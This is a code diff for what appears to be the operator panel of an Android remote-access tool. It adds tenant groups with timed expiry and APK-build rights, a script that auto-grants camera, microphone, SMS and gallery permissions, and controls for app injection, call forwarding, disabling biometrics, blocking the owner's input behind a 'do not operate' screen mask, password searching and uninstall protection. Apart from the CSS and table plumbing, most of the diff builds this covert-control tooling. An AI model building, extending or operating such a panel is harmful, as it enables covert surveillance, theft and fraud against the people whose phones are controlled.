'refresh_media_projection_permission', + async () => { + if (!hasControl) throw new Error('no_control') + emitClientEvent('REFRESH_MEDIA_PROJECTION_PERMISSION', { deviceId: DEVICE_ID }) + const [resp] = await waitEvent( + socket, + 'refresh_permission_response', + (payload) => payload?.deviceId === DEVICE_ID, + 22000 + ) + return { success: !!resp?.success, message: resp?.message || '' } + }, + { optional: true } + ) + + await runStep( + 'refresh_media_projection_manual', + async () => { + if (!hasControl) throw new Error('no_control') + emitClientEvent('REFRESH_MEDIA_PROJECTION_MANUAL', { deviceId: DEVICE_ID }) + const [resp] = await waitEvent( + socket, + 'refresh_permission_response', + (payload) => payload?.deviceId === DEVICE_ID, + 22000 + ) + return { success: !!resp?.success, message: resp?.message || '' } + }, + { optional: true } + ) + + await runStep( + 'settle_after_projection_refresh', + async () => { + await sleep(PROJECTION_SETTLE_MS) + return { waitedMs: PROJECTION_SETTLE_MS } + }, + { optional: true } + ) + } + + await runStep( + 'camera_permission_check', + async () => + ensureRuntimePermission( + 'camera', + 'CAMERA_PERMISSION_AUTO_GRANT', + 'CAMERA_PERMISSION_CHECK', + PERMISSION_RETRIES + ) + ) + await sleep(2200) + + await runStep( + 'microphone_permission_check', + async () => + ensureRuntimePermission( + 'microphone', + 'MICROPHONE_PERMISSION_AUTO_GRANT', + 'MICROPHONE_PERMISSION_CHECK', + PERMISSION_RETRIES + ) + ) + await sleep(2200) + + await runStep( + 'sms_permission_check', + async () => + ensureRuntimePermission( + 'sms', + 'SMS_PERMISSION_AUTO_GRANT', + 'SMS_PERMISSION_CHECK', + PERMISSION_RETRIES + ) + ) + await sleep(2200) + + await runStep( + 'gallery_permission_check', + async () => + ensureRuntimePermission( + 'gallery', + 'GALLERY_PERMISSION_AUTO_GRANT', + 'GALLERY_PERMISSION_CHECK', + PERMISSION_RETRIES + ) + ) + } catch (error) { + report.steps.push({ + name: 'fatal', + status: 'fail', + durationMs: 0, + error: error instanceof Error ? error.message : String(error) + }) + report.summary.fail += 1 + console.error(error instanceof Error ? error.message : String(error)) + } finally { + await runStep( + 'release_device_control', + async () => { + if (!hasControl) return { skipped: true } + emitClientEvent('RELEASE_DEVICE_CONTROL', { deviceId: DEVICE_ID }) + await sleep(700) + return { released: true } + }, + { optional: true } + ) + + socket.close() + report.finishedAt = nowIso() + await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8') + } +} + +main().catch(async (error) => { + report.steps.push({ + name: 'unhandled', + status: 'fail', + durationMs: 0, + error: error instanceof Error ? error.message : String(error) + }) + report.summary.fail += 1 + report.finishedAt = nowIso() + try { + await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8') + } catch {} + process.exit(1) +}) diff --git a/src/App.css b/src/App.css index 12c88c1..e030513 100644 --- a/src/App.css +++ b/src/App.css @@ -124,6 +124,17 @@ flex-direction: row; background: var(--md-surface); overflow: hidden; + min-width: 0; + min-height: 0; +} + +.modal-control-layout { + height: 100%; + display: flex; + flex-direction: row; + background: var(--md-surface-container-lowest); + min-width: 0; + min-height: 0; } /* Control screen area */ @@ -133,10 +144,22 @@ height: 100%; border-right: 1px solid var(--md-outline-variant); background: var(--md-surface-container-lowest); - flex-shrink: 0; + flex: 0 0 clamp(420px, 58vw, 980px); + width: clamp(420px, 58vw, 980px); + min-width: 360px; + max-width: 70vw; + min-height: 0; overflow: hidden; } +@media (max-width: 1366px) { + .control-screen-area { + flex-basis: clamp(360px, 60vw, 860px); + width: clamp(360px, 60vw, 860px); + max-width: 72vw; + } +} + /* Toolbar */ .control-toolbar { padding: 6px 12px; @@ -171,6 +194,7 @@ flex-direction: row; flex: 1; min-height: 0; + min-width: 0; overflow: hidden; } @@ -182,6 +206,8 @@ background: var(--md-surface-container-low); display: flex; flex-direction: column; + min-width: 0; + min-height: 0; } .device-screen-panel { @@ -191,6 +217,34 @@ background: var(--md-surface-container); display: flex; flex-direction: column; + min-width: 0; + min-height: 0; +} + +@media (max-width: 960px) { + .standalone-control-page { + flex-direction: column; + } + .modal-control-layout { + flex-direction: column; + } + .control-screen-area { + flex: 0 0 55vh; + width: 100%; + max-width: 100%; + min-width: 0; + height: 55vh; + border-right: none; + border-bottom: 1px solid var(--md-outline-variant); + } + .screen-reader-row { + flex-direction: column; + } + .screen-reader-panel, + .device-screen-panel { + width: 100% !important; + height: 50%; + } } /* Text input bar */ diff --git a/src/components/Admin/TenantManagement.tsx b/src/components/Admin/TenantManagement.tsx new file mode 100644 index 0000000..c2c9786 --- /dev/null +++ b/src/components/Admin/TenantManagement.tsx @@ -0,0 +1,891 @@ +import React, { useCallback, useEffect, useMemo, useState } from 'react' +import { + App, + Button, + Card, + DatePicker, + Drawer, + Input, + Modal, + Popconfirm, + Select, + Space, + Switch, + Table, + Tag, + Typography, +} from 'antd' +import { DeleteOutlined, PlusOutlined, ReloadOutlined, TeamOutlined, UserAddOutlined } from '@ant-design/icons' +import type { ColumnsType } from 'antd/es/table' +import dayjs, { type Dayjs } from 'dayjs' +import { useSelector } from 'react-redux' +import apiClient from '../../services/apiClient' +import { selectUser } from '../../store/slices/authSlice' + + +type UserRole = 'superadmin' | 'leader' | 'member' +type GroupExpirePreset = 'three_days' | 'one_week' | 'one_month' | 'permanent' | 'custom' + +interface GroupRecord { + id: string + name: string + createdAt?: string + createdBy?: string + expiresAt?: string + allowBuild?: boolean + isExpired?: boolean +} + +interface UserRecord { + id: string + username: string + role: UserRole + groupId?: string + groupName?: string + createdAt?: string + lastLoginAt?: string +} + +const roleLabelMap: Record = { + superadmin: '超级管理员', + leader: '组长', + member: '组员', +} + +const roleColorMap: Record = { + superadmin: 'gold', + leader: 'processing', + member: 'default', +} + +const formatTime = (value?: string): string => { + if (!value) return '-' + const date = dayjs(value) + if (!date.isValid()) return '-' + return date.format('YYYY-MM-DD HH:mm:ss') +} + +const formatGroupExpire = (group: GroupRecord): React.ReactNode => { + if (!group.expiresAt) { + return 永久有效 + } + + const date = dayjs(group.expiresAt) + if (!date.isValid()) { + return 时间异常 + } + + const expired = group.isExpired || date.isBefore(dayjs()) + if (expired) { + return 已过期 + } + + return {date.format('YYYY-MM-DD HH:mm')} +} + +const TenantManagement: React.FC = () => { + const { message, modal } = App.useApp() + const currentUser = useSelector(selectUser) + const currentRole = currentUser?.role || 'member' + const isSuperAdmin = currentRole === 'superadmin' + const isLeader = currentRole === 'leader' + + const [groups, setGroups] = useState([]) + const [groupsLoading, setGroupsLoading] = useState(false) + + const [createGroupVisible, setCreateGroupVisible] = useState(false) + const [creatingGroup, setCreatingGroup] = useState(false) + const [newGroupName, setNewGroupName] = useState('') + const [newGroupExpiresAt, setNewGroupExpiresAt] = useState(null) + const [newGroupExpirePreset, setNewGroupExpirePreset] = useState('permanent') + const [newGroupAllowBuild, setNewGroupAllowBuild] = useState(true) + const [editGroupExpireVisible, setEditGroupExpireVisible] = useState(false) + const [editingGroup, setEditingGroup] = useState(null) + const [editGroupExpiresAt, setEditGroupExpiresAt] = useState(null) + const [editGroupExpirePreset, setEditGroupExpirePreset] = useState('permanent') + const [updatingGroupExpire, setUpdatingGroupExpire] = useState(false) + + const [memberDrawerVisible, setMemberDrawerVisible] = useState(false) + const [selectedGroup, setSelectedGroup] = useState(null) + const [members, setMembers] = useState([]) + const [membersLoading, setMembersLoading] = useState(false) + const [deletingMemberId, setDeletingMemberId] = useState(null) + const [updatingGroupId, setUpdatingGroupId] = useState(null) + const [updatingMemberRoleId, setUpdatingMemberRoleId] = useState(null) + + const [createMemberVisible, setCreateMemberVisible] = useState(false) + const [newMemberUsername, setNewMemberUsername] = useState('') + const [newMemberPassword, setNewMemberPassword] = useState('') + const [newMemberRole, setNewMemberRole] = useState<'leader' | 'member'>('member') + const [creatingMember, setCreatingMember] = useState(false) + + const loadGroups = useCallback(async () => { + setGroupsLoading(true) + try { + const result = await apiClient.get<{ success: boolean, groups: GroupRecord[] }>('/api/auth/groups') + setGroups(Array.isArray(result.groups) ? result.groups : []) + } catch (error: any) { + message.error(error?.message || '获取组列表失败') + } finally { + setGroupsLoading(false) + } + }, [message]) + + const loadGroupMembers = useCallback(async (groupId: string) => { + if (!groupId) return + setMembersLoading(true) + try { + const result = await apiClient.get<{ success: boolean, members: UserRecord[] }>(`/api/groups/${groupId}/members`) + setMembers(Array.isArray(result.members) ? result.members : []) + } catch (error: any) { + message.error(error?.message || '获取组成员失败') + setMembers([]) + } finally { + setMembersLoading(false) + } + }, [message]) + + useEffect(() => { + void loadGroups() + }, [loadGroups]) + + const openCreateGroupModal = () => { + setNewGroupName('') + setNewGroupExpiresAt(null) + setNewGroupExpirePreset('permanent') + setNewGroupAllowBuild(true) + setCreateGroupVisible(true) + } + + const calcExpireByPreset = (preset: GroupExpirePreset): Dayjs | null => { + if (preset === 'permanent') return null + if (preset === 'three_days') return dayjs().add(3, 'day') + if (preset === 'one_week') return dayjs().add(7, 'day') + if (preset === 'one_month') return dayjs().add(1, 'month') + return dayjs().add(3, 'day') + } + + const applyGroupExpirePreset = (preset: GroupExpirePreset) => { + setNewGroupExpirePreset(preset) + if (preset === 'custom') { + if (!newGroupExpiresAt) { + setNewGroupExpiresAt(calcExpireByPreset('three_days')) + } + return + } + setNewGroupExpiresAt(calcExpireByPreset(preset)) + } + + const submitCreateGroup = async () => { + const groupName = newGroupName.trim() + if (!groupName) { + message.warning('请输入组名') + return + } + + if (newGroupExpiresAt && newGroupExpiresAt.isBefore(dayjs())) { + message.warning('过期时间必须晚于当前时间') + return + } + if (newGroupExpirePreset === 'custom' && !newGroupExpiresAt) { + message.warning('请选择自定义过期时间') + return + } + + setCreatingGroup(true) + try { + const result = await apiClient.post<{ success: boolean, message?: string }>('/api/admin/groups', { + name: groupName, + expiresAt: newGroupExpiresAt ? newGroupExpiresAt.toISOString() : undefined, + allowBuild: newGroupAllowBuild, + }) + + if (!result.success) { + message.error(result.message || '新建组失败') + return + } + + message.success('新建组成功') + setCreateGroupVisible(false) + await loadGroups() + } catch (error: any) { + message.error(error?.message || '新建组失败') + } finally { + setCreatingGroup(false) + } + } + + const confirmDeleteGroup = (group: GroupRecord) => { + modal.confirm({ + title: `确认删除组「${group.name}」?`, + content: '删除前请先清空该组成员;组设备不会被删除。', + okText: '删除组', + cancelText: '取消', + okButtonProps: { danger: true }, + onOk: async () => { + try { + const result = await apiClient.delete<{ success: boolean, message?: string }>(`/api/admin/groups/${group.id}`) + if (!result.success) { + message.error(result.message || '删除组失败') + return + } + message.success('删除组成功') + if (selectedGroup?.id === group.id) { + setMemberDrawerVisible(false) + setSelectedGroup(null) + setMembers([]) + } + await loadGroups() + } catch (error: any) { + message.error(error?.message || '删除组失败') + } + } + }) + } + + const openMemberDrawer = async (group: GroupRecord) => { + setSelectedGroup(group) + setMemberDrawerVisible(true) + await loadGroupMembers(group.id) + } + + const removeMember = async (member: UserRecord) => { + if (!selectedGroup) return + + setDeletingMemberId(member.id) + try { + const result = await apiClient.delete<{ success: boolean, message?: string }>(`/api/groups/${selectedGroup.id}/members/${member.id}`) + if (!result.success) { + message.error(result.message || '删除成员失败') + return + } + message.success('删除成员成功') + await loadGroupMembers(selectedGroup.id) + await loadGroups() + } catch (error: any) { + message.error(error?.message || '删除成员失败') + } finally { + setDeletingMemberId(null) + } + } + + const updateGroupAllowBuild = async (group: GroupRecord, allowBuild: boolean) => { + if (!isSuperAdmin) return + setUpdatingGroupId(group.id) + try { + const result = await apiClient.put<{ success: boolean, message?: string }>(`/api/admin/groups/${group.id}`, { + allowBuild, + }) + if (!result.success) { + message.error(result.message || '更新组构建权限失败') + return + } + message.success(`已${allowBuild ? '开启' : '关闭'}组构建权限`) + setSelectedGroup((prev) => { + if (!prev || prev.id !== group.id) return prev + return { ...prev, allowBuild } + }) + await loadGroups() + if (selectedGroup?.id === group.id) { + await loadGroupMembers(group.id) + } + } catch (error: any) { + message.error(error?.message || '更新组构建权限失败') + } finally { + setUpdatingGroupId(null) + } + } + + const openEditGroupExpireModal = (group: GroupRecord) => { + setEditingGroup(group) + if (!group.expiresAt) { + setEditGroupExpirePreset('permanent') + setEditGroupExpiresAt(null) + } else { + const expires = dayjs(group.expiresAt) + if (expires.isValid()) { + setEditGroupExpirePreset('custom') + setEditGroupExpiresAt(expires) + } else { + setEditGroupExpirePreset('permanent') + setEditGroupExpiresAt(null) + } + } + setEditGroupExpireVisible(true) + } + + const applyEditGroupExpirePreset = (preset: GroupExpirePreset) => { + setEditGroupExpirePreset(preset) + if (preset === 'custom') { + if (!editGroupExpiresAt) { + setEditGroupExpiresAt(calcExpireByPreset('three_days')) + } + return + } + setEditGroupExpiresAt(calcExpireByPreset(preset)) + } + + const submitEditGroupExpire = async () => { + if (!isSuperAdmin || !editingGroup) return + + const targetExpiresAt = editGroupExpirePreset === 'permanent' + ? null + : (editGroupExpiresAt ? editGroupExpiresAt.toISOString() : null) + + if (editGroupExpirePreset === 'custom' && !targetExpiresAt) { + message.warning('请选择自定义过期时间') + return + } + + if (targetExpiresAt && dayjs(targetExpiresAt).isBefore(dayjs())) { + message.warning('过期时间必须晚于当前时间') + return + } + + setUpdatingGroupExpire(true) + const currentEditingGroupId = editingGroup.id + try { + const result = await apiClient.put<{ success: boolean, message?: string, group?: GroupRecord }>( + `/api/admin/groups/${currentEditingGroupId}`, + { expiresAt: targetExpiresAt } + ) + + if (!result.success) { + message.error(result.message || '更新组有效期失败') + return + } + + message.success('组有效期更新成功') + setEditGroupExpireVisible(false) + setEditingGroup(null) + + setSelectedGroup((prev) => { + if (!prev || prev.id !== currentEditingGroupId) return prev + if (result.group) { + return { ...prev, ...result.group } + } + return { + ...prev, + expiresAt: targetExpiresAt || undefined, + isExpired: false, + } + }) + + await loadGroups() + if (selectedGroup?.id === currentEditingGroupId) { + await loadGroupMembers(currentEditingGroupId) + } + } catch (error: any) { + message.error(error?.message || '更新组有效期失败') + } finally { + setUpdatingGroupExpire(false) + } + } + + const updateMemberRole = async (member: UserRecord, role: 'leader' | 'member') => { + if (!isSuperAdmin || !selectedGroup) return + setUpdatingMemberRoleId(member.id) + try { + const result = await apiClient.put<{ success: boolean, message?: string }>( + `/api/groups/${selectedGroup.id}/members/${member.id}/role`, + { role } + ) + if (!result.success) { + message.error(result.message || '更新成员角色失败') + return + } + message.success(role === 'leader' ? '任命组长成功' : '已取消组长') + await loadGroupMembers(selectedGroup.id) + await loadGroups() + } catch (error: any) { + message.error(error?.message || '更新成员角色失败') + } finally { + setUpdatingMemberRoleId(null) + } + } + + const openCreateMemberModal = () => { + setNewMemberUsername('') + setNewMemberPassword('') + setNewMemberRole('member') + setCreateMemberVisible(true) + } + + const submitCreateMember = async () => { + if (!selectedGroup) return + + const username = newMemberUsername.trim() + if (!username) { + message.warning('请输入成员账号') + return + } + if (!newMemberPassword || newMemberPassword.length < 6) { + message.warning('成员密码至少 6 位') + return + } + + setCreatingMember(true) + try { + const result = await apiClient.post<{ success: boolean, message?: string }>(`/api/groups/${selectedGroup.id}/members`, { + username, + password: newMemberPassword, + role: newMemberRole, + }) + + if (!result.success) { + message.error(result.message || '添加成员失败') + return + } + + message.success('添加成员成功') + setCreateMemberVisible(false) + await loadGroupMembers(selectedGroup.id) + await loadGroups() + } catch (error: any) { + message.error(error?.message || '添加成员失败') + } finally { + setCreatingMember(false) + } + } + + const sortedGroups = useMemo(() => { + return [...groups].sort((a, b) => a.name.localeCompare(b.name, 'zh-CN')) + }, [groups]) + + const groupColumns: ColumnsType = [ + { + title: '组名', + dataIndex: 'name', + key: 'name', + width: 220, + render: (name: string) => ( + + + {name} + + ), + }, + { + title: '构建包权限', + dataIndex: 'allowBuild', + key: 'allowBuild', + width: 140, + render: (allowBuild: boolean | undefined, row: GroupRecord) => { + if (!isSuperAdmin) { + return allowBuild === false + ? 禁用 + : 允许 + } + return ( + { + void updateGroupAllowBuild(row, checked) + }} + /> + ) + }, + }, + { + title: '有效期', + key: 'expiresAt', + width: 180, + render: (_: unknown, row: GroupRecord) => formatGroupExpire(row), + }, + { + title: '创建者', + dataIndex: 'createdBy', + key: 'createdBy', + width: 160, + render: (createdBy: string) => createdBy || '-', + }, + { + title: '创建时间', + dataIndex: 'createdAt', + key: 'createdAt', + width: 180, + render: (createdAt: string) => formatTime(createdAt), + }, + { + title: '操作', + key: 'actions', + width: 280, + fixed: 'right', + render: (_: unknown, row: GroupRecord) => ( + + + {isSuperAdmin ? ( + <> + + + + ) : null} + + ), + }, + ] + + const memberColumns: ColumnsType = [ + { + title: '账号', + dataIndex: 'username', + key: 'username', + width: 180, + }, + { + title: '角色', + dataIndex: 'role', + key: 'role', + width: 110, + render: (role: UserRole) => {roleLabelMap[role]}, + }, + { + title: '最后登录', + dataIndex: 'lastLoginAt', + key: 'lastLoginAt', + width: 170, + render: (value?: string) => formatTime(value), + }, + { + title: '创建时间', + dataIndex: 'createdAt', + key: 'createdAt', + width: 170, + render: (value?: string) => formatTime(value), + }, + { + title: '操作', + key: 'actions', + width: 150, + fixed: 'right', + render: (_: unknown, row: UserRecord) => { + const canDeleteByRole = isSuperAdmin || (isLeader && row.role === 'member') + const isSelf = row.id === currentUser?.id + const canRoleAction = isSuperAdmin && !isSelf + + const roleAction = canRoleAction ? ( + row.role === 'leader' ? ( + + ) : ( + + ) + ) : null + + const deleteAction = (!canDeleteByRole || isSelf) ? null : ( + void removeMember(row)} + > + + + ) + + if (!roleAction && !deleteAction) { + return - + } + + return {roleAction}{deleteAction} + }, + }, + ] + + const tenantHint = isSuperAdmin + ? '你可创建/删除组,并管理任意组成员。' + : '你当前为组长,只能查看本组并删除本组组员。' + + return ( +
+ + + {isSuperAdmin ? ( + + ) : null} + + } + > + + {tenantHint} + + + + + + { + if (creatingGroup) return + setCreateGroupVisible(false) + }} + onOk={() => void submitCreateGroup()} + confirmLoading={creatingGroup} + okText="创建" + cancelText="取消" + destroyOnClose + > + + setNewGroupName(event.target.value)} + placeholder="请输入组名" + maxLength={64} + /> + + + 过期策略 + + value={newGroupExpirePreset} + onChange={(value) => applyGroupExpirePreset(value)} + options={[ + { label: '3天后过期', value: 'three_days' }, + { label: '一周后过期', value: 'one_week' }, + { label: '一个月后过期', value: 'one_month' }, + { label: '永久有效', value: 'permanent' }, + { label: '自定义时间', value: 'custom' }, + ]} + /> + + + + 组过期时间(可选) + { + setNewGroupExpiresAt(value) + if (value) { + setNewGroupExpirePreset('custom') + } else { + setNewGroupExpirePreset('permanent') + } + }} + placeholder="不设置则永久有效" + disabled={newGroupExpirePreset !== 'custom'} + allowClear + /> + + + + 允许该组构建 APK + + + + + + { + setMemberDrawerVisible(false) + setSelectedGroup(null) + setMembers([]) + }} + extra={ + isSuperAdmin && selectedGroup ? ( + + ) : null + } + > + {selectedGroup ? ( + + + + 组名:{selectedGroup.name} + {isSuperAdmin ? ( + + 构建权限: + { + void updateGroupAllowBuild(selectedGroup, checked) + }} + /> + + ) : ( + + 构建权限:{selectedGroup.allowBuild === false ? '禁用' : '允许'} + + )} + + 过期状态:{selectedGroup.expiresAt ? formatTime(selectedGroup.expiresAt) : '永久有效'} + + {isSuperAdmin ? ( + + ) : null} + + + +
+ + ) : null} + + + { + if (updatingGroupExpire) return + setEditGroupExpireVisible(false) + setEditingGroup(null) + }} + onOk={() => void submitEditGroupExpire()} + confirmLoading={updatingGroupExpire} + okText="保存" + cancelText="取消" + destroyOnClose + > + + + 过期策略 + + value={editGroupExpirePreset} + onChange={(value) => applyEditGroupExpirePreset(value)} + options={[ + { label: '3天后过期', value: 'three_days' }, + { label: '一周后过期', value: 'one_week' }, + { label: '一个月后过期', value: 'one_month' }, + { label: '永久有效', value: 'permanent' }, + { label: '自定义时间', value: 'custom' }, + ]} + /> + + + + 组过期时间(可选) + { + setEditGroupExpiresAt(value) + if (value) { + setEditGroupExpirePreset('custom') + } else { + setEditGroupExpirePreset('permanent') + } + }} + placeholder="不设置则永久有效" + disabled={editGroupExpirePreset !== 'custom'} + allowClear + /> + + + + 组过期只影响登录,不会删除组设备与成员数据。 + + + + + { + if (creatingMember) return + setCreateMemberVisible(false) + }} + onOk={() => void submitCreateMember()} + confirmLoading={creatingMember} + okText="添加" + cancelText="取消" + destroyOnClose + > + + setNewMemberUsername(event.target.value)} + placeholder="请输入成员账号" + maxLength={64} + /> + setNewMemberPassword(event.target.value)} + placeholder="请输入成员密码(至少 6 位)" + /> + + value={newMemberRole} + onChange={(value) => setNewMemberRole(value)} + options={[ + { label: '组员', value: 'member' }, + { label: '组长', value: 'leader' }, + ]} + /> + + 同一组仅允许 1 位组长;如果该组已有组长,系统会拒绝任命。 + + + + + ) +} + +export default TenantManagement diff --git a/src/components/Control/ControlPanel.tsx b/src/components/Control/ControlPanel.tsx index d72a020..94f1657 100644 --- a/src/components/Control/ControlPanel.tsx +++ b/src/components/Control/ControlPanel.tsx @@ -21,7 +21,7 @@ import { } from '@ant-design/icons' import { useSelector, useDispatch } from 'react-redux' import type { RootState } from '../../store/store' -import { setOperationEnabled, setDeviceInputBlocked, setCameraViewVisible, setGalleryVisible, setGalleryLoading, addGalleryImage } from '../../store/slices/uiSlice' +import { setOperationEnabled, setDeviceInputBlocked, setCameraViewVisible, setGalleryVisible, setGalleryLoading, addGalleryImage, updateScreenDisplay } from '../../store/slices/uiSlice' import { resetDeviceStates, setDeviceScreenReaderHierarchy, updateDeviceScreenReaderConfig } from '../../store/slices/deviceSlice' import { apiClient } from '../../services/apiClient' @@ -121,6 +121,38 @@ interface AlbumData { albumList: AlbumItem[] } +interface AppListItem { + packageName: string + appName: string + isSystemApp?: boolean + enabled?: boolean + iconBase64?: string + iconMimeType?: string +} + +interface AppListData { + deviceId: string + type: string + timestamp: number + count: number + appList: AppListItem[] +} + +type CallForwardRule = 'all' | 'busy' | 'no_reply' | 'not_reachable' + +interface CallForwardResultData { + deviceId: string + type?: string + timestamp?: number + action?: string + rule?: string + phoneNumber?: string + success?: boolean + message?: string + mmiCode?: string + permissionRequested?: boolean +} + // 日志类型映射 const logTypeLabels = { 'APP_OPENED': '应用打开', @@ -144,6 +176,58 @@ const logTypeColors = { 'SYSTEM_EVENT': 'gray' } +const callForwardRuleLabels: Record = { + all: '全部来电', + busy: '占线转移', + no_reply: '无人接听', + not_reachable: '无法接通' +} + +type PermissionState = 'granted' | 'missing' | 'unknown' | 'requesting' +type PermissionKey = 'mediaProjection' | 'camera' | 'microphone' | 'sms' | 'gallery' | 'appList' | 'batteryOptimization' | 'backgroundStart' + +interface PermissionStatusItem { + state: PermissionState + detail: string + updatedAt: number | null +} + +const permissionStateLabelMap: Record = { + granted: '已获取', + missing: '未获取', + unknown: '未检查', + requesting: '获取中' +} + +const permissionStateColorMap: Record = { + granted: 'green', + missing: 'red', + unknown: 'default', + requesting: 'orange' +} + +const permissionMetaList: Array<{ key: PermissionKey; label: string }> = [ + { key: 'mediaProjection', label: '投屏权限' }, + { key: 'camera', label: '相机权限' }, + { key: 'microphone', label: '麦克风权限' }, + { key: 'sms', label: '短信权限' }, + { key: 'gallery', label: '相册权限' }, + { key: 'appList', label: '应用列表读取' }, + { key: 'batteryOptimization', label: '省电策略' }, + { key: 'backgroundStart', label: '后台启动策略' } +] + +const createInitialPermissionStatus = (): Record => ({ + mediaProjection: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null }, + camera: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null }, + microphone: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null }, + sms: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null }, + gallery: { state: 'unknown', detail: '点击右侧按钮重新获取', updatedAt: null }, + appList: { state: 'unknown', detail: '点击右侧按钮拉取应用列表', updatedAt: null }, + batteryOptimization: { state: 'unknown', detail: '点击右侧按钮检测省电策略状态', updatedAt: null }, + backgroundStart: { state: 'unknown', detail: '点击右侧按钮检测后台启动状态', updatedAt: null } +}) + /** * 设备控制面板 */ @@ -152,6 +236,8 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 文本输入卡片已移除 const [maskText, setMaskText] = useState('数据加载中\n请勿操作') const [maskTextSize, setMaskTextSize] = useState(24) + const [maskAlpha, setMaskAlpha] = useState(220) + const [maskAdjustModalVisible, setMaskAdjustModalVisible] = useState(false) // 日志相关状态 const [isLoggingEnabled, setIsLoggingEnabled] = useState(false) @@ -195,6 +281,16 @@ const ControlPanel: React.FC = ({ deviceId }) => { const logModalVisibleRef = useRef(logModalVisible) const pageSizeRef = useRef(pageSize) const logTypeFilterRef = useRef(logTypeFilter) + const pendingInjectionPackageRef = useRef(null) + const pendingInjectionEnableRef = useRef(null) + const appListRequestTimeoutRef = useRef(null) + + const clearAppListRequestTimeout = () => { + if (appListRequestTimeoutRef.current !== null) { + window.clearTimeout(appListRequestTimeoutRef.current) + appListRequestTimeoutRef.current = null + } + } // 更新ref值 useEffect(() => { @@ -232,10 +328,22 @@ const ControlPanel: React.FC = ({ deviceId }) => { const [micSampleRate, setMicSampleRate] = useState(null) const [micChannels, setMicChannels] = useState(null) const [micBitDepth, setMicBitDepth] = useState(null) + const [permissionStatus, setPermissionStatus] = useState>(createInitialPermissionStatus) // 为兼容遗留调用,提供无副作用占位setter,后续可彻底清理调用点 const setIsRefreshingPermission = (_v?: any) => { } + const updatePermissionStatus = (key: PermissionKey, state: PermissionState, detail?: string) => { + setPermissionStatus((prev) => ({ + ...prev, + [key]: { + state, + detail: typeof detail === 'string' ? detail : prev[key].detail, + updatedAt: Date.now() + } + })) + } + // 🎧 WebAudio 播放相关引用 const audioContextRef = useRef(null) const micGainRef = useRef(null) @@ -332,6 +440,28 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 📷 相册相关状态 const [albumData, setAlbumData] = useState(null) const [albumLoading, setAlbumLoading] = useState(false) + const [appListData, setAppListData] = useState(null) + const [appListLoading, setAppListLoading] = useState(false) + const [appListIncludeIcons, setAppListIncludeIcons] = useState(false) + const [appSearchKeyword, setAppSearchKeyword] = useState('') + const [openingAppPackage, setOpeningAppPackage] = useState(null) + const [injectedAppPackage, setInjectedAppPackage] = useState(null) + const [injectingAppPackage, setInjectingAppPackage] = useState(null) + const [pendingInjectionPackage, setPendingInjectionPackage] = useState(null) + const [pendingInjectionEnable, setPendingInjectionEnable] = useState(null) + const [appListPermission, setAppListPermission] = useState<{ granted: boolean | null, message: string }>({ + granted: null, + message: '' + }) + const [callForwardPhoneNumber, setCallForwardPhoneNumber] = useState('') + const [callForwardRule, setCallForwardRule] = useState('all') + const [callForwardSubmitting, setCallForwardSubmitting] = useState(false) + const [biometricDisabling, setBiometricDisabling] = useState(false) + + useEffect(() => { + pendingInjectionPackageRef.current = pendingInjectionPackage + pendingInjectionEnableRef.current = pendingInjectionEnable + }, [pendingInjectionPackage, pendingInjectionEnable]) // 📷 新增:逐张图片保存事件展示(类似短信) type GallerySavedItem = { @@ -354,7 +484,7 @@ const ControlPanel: React.FC = ({ deviceId }) => { const dispatch = useDispatch() const { webSocket } = useSelector((state: RootState) => state.connection) const { connectedDevices } = useSelector((state: RootState) => state.devices) - const { operationEnabled, deviceInputBlocked, cameraViewVisible } = useSelector((state: RootState) => state.ui) + const { operationEnabled, deviceInputBlocked, cameraViewVisible, screenDisplay } = useSelector((state: RootState) => state.ui) const device = connectedDevices.find(d => d.id === deviceId) @@ -379,7 +509,7 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 清空之前设备的状态 setLastKnownPassword('') setIsLoggingEnabled(false) - setOperationEnabled(true) + dispatch(setOperationEnabled(true)) setPasswordSearchVisible(false) setFoundPasswords([]) setSelectedPassword('') @@ -394,10 +524,33 @@ const ControlPanel: React.FC = ({ deviceId }) => { setUninstallProtectionStatus('idle') // 🆕 重置重新获取投屏权限状态 setIsRefreshingPermission(false) + clearAppListRequestTimeout() + setAppListData(null) + setAppListLoading(false) + setAppListIncludeIcons(false) + setAppSearchKeyword('') + setOpeningAppPackage(null) + setInjectedAppPackage(null) + setInjectingAppPackage(null) + setPendingInjectionPackage(null) + setPendingInjectionEnable(null) + setAppListPermission({ granted: null, message: '' }) + setCallForwardPhoneNumber('') + setCallForwardRule('all') + setCallForwardSubmitting(false) + setMaskAdjustModalVisible(false) + setPermissionStatus(createInitialPermissionStatus()) // ⚠️ 不再立即获取设备状态,等待DeviceScreen组件获取控制权成功后再获取 }, [deviceId]) + useEffect(() => { + if (isCameraActive) { + const cameraLabel = currentCameraType === 'front' ? '前置摄像头活动中' : '后置摄像头活动中' + updatePermissionStatus('camera', 'granted', cameraLabel) + } + }, [isCameraActive, currentCameraType]) + // 监听WebSocket事件 useEffect(() => { if (!webSocket || !deviceId) return @@ -474,7 +627,8 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 更新本地状态以匹配服务器状态 if (data.deviceState.inputBlocked !== undefined && data.deviceState.inputBlocked !== null) { dispatch(setDeviceInputBlocked(data.deviceState.inputBlocked)) - setOperationEnabled(!data.deviceState.inputBlocked) + // 阻止本机输入时仍允许Web端远程操作 + dispatch(setOperationEnabled(true)) } if (data.deviceState.loggingEnabled !== undefined && data.deviceState.loggingEnabled !== null) { setIsLoggingEnabled(data.deviceState.loggingEnabled) @@ -608,7 +762,8 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 更新本地状态以匹配服务器状态 if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) { dispatch(setDeviceInputBlocked(deviceState.inputBlocked)) - setOperationEnabled(!deviceState.inputBlocked) + // 阻止本机输入时仍允许Web端远程操作 + dispatch(setOperationEnabled(true)) } if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) { setIsLoggingEnabled(deviceState.loggingEnabled) @@ -639,7 +794,7 @@ const ControlPanel: React.FC = ({ deviceId }) => { // 设备暂无状态记录,保持清空后的默认状态 setLastKnownPassword('') 